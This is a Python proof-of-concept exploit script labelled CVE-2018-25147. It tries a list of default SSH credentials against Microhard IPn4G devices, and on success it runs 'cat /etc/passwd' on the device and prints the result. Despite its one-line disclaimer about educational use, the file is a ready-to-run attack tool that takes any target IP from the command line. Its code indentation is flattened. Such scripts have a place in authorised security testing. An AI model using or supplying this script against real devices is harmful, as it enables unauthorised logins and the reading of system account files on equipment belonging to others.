#!/usr/bin/env python3
# CVE-2018-25147 - Microhard IPn4G Hardcoded Credentials PoC
# Note: This is for educational and authorized testing purposes only
import socket
import paramiko
import sys
from paramiko.ssh_exception import SSHException, AuthenticationException
def test_default_credentials(target_ip, port=22):
"""Test for hardcoded default credentials on Microhard IPn4G devices"""
# Known default credentials for Microhard IPn4G devices
default_credentials = [
('admin', 'admin'),
('admin', 'password'),
('root', 'root'),
('root', 'admin'),
('user', 'user'),
('admin', ''),
('root', ''),
]
print(f"[*] Testing {target_ip} for CVE-2018-25147...")
print(f"[*] Target port: {port}")
for username, password in default_credentials:
print(f"[*] Trying {username}:{password}")
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target_ip, port=port, username=username,
password=password, timeout=10)
print(f"[!] SUCCESS! Valid credentials found: {username}:{password}")
# Execute test command
stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd')
output = stdout.read().decode()
print(f"[+] Command output:\n{output}")
ssh.close()
return True
except AuthenticationException:
print(f"[-] Failed with {username}:{password}")
except (SSHException, socket.timeout, ConnectionRefusedError) as e:
print(f"[!] Connection error: {e}")
return False
except Exception as e:
print(f"[!] Unexpected error: {e}")
print("[*] No valid default credentials found")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 22
test_default_credentials(target, port)